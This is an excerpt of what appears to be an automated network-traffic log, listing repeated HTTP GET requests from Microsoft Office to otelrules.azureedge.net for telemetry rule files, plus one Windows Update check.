Source: global traffic	HTTP traffic detected: GET /rules/rule701151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702201v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702200v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700401v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700400v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703901v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703900v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703351v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /SLS/%7BE7A50285-D08D-499D-9FF8-180FDC2332BC%7D/x64/10.0.19045.2006/0?CH=700&L=en-GB&P=&PT=0x30&WUA=10.0.19041.1949&MK=spWa8mssMRPN6Ho&MD=w5aEVEvr HTTP/1.1Connection: Keep-AliveAccept: /User-Agent: Windows-Update-Agent/10.0.10011.16384 Client-Protocol/2.33Host: slscr.update.microsoft.com
Source: global traffic	HTTP traffic detected: GET /rules/rule703350v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703501v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703500v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701801v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701800v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703401v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703400v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700501v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700500v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701351v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701350v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703000v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703001v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700751v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700750v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702650v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702651v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703601v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703600v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703851v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703850v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703801v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703800v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703701v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703700v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703751v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703750v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701301v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701300v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704051v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704050v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702051v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702050v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700551v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700550v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703650v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703651v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700600v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700601v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703151v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703951v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703150v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703950v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700001v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700000v2s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701851v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701850v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703051v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703050v3s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702101v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700100v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700951v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700950v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703551v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703550v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702701v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700451v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702700v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule700450v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701901v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule701900v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704001v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703251v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule704000v0s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule703250v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702401v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
Source: global traffic	HTTP traffic detected: GET /rules/rule702400v1s19.xml HTTP/1.1Connection: Keep-AliveAccept-Encoding: gzipUser-Agent: Microsoft Office/16.0 (Windows NT 10.0; 16.0.16827; Pro)Host: otelrules.azureedge.net
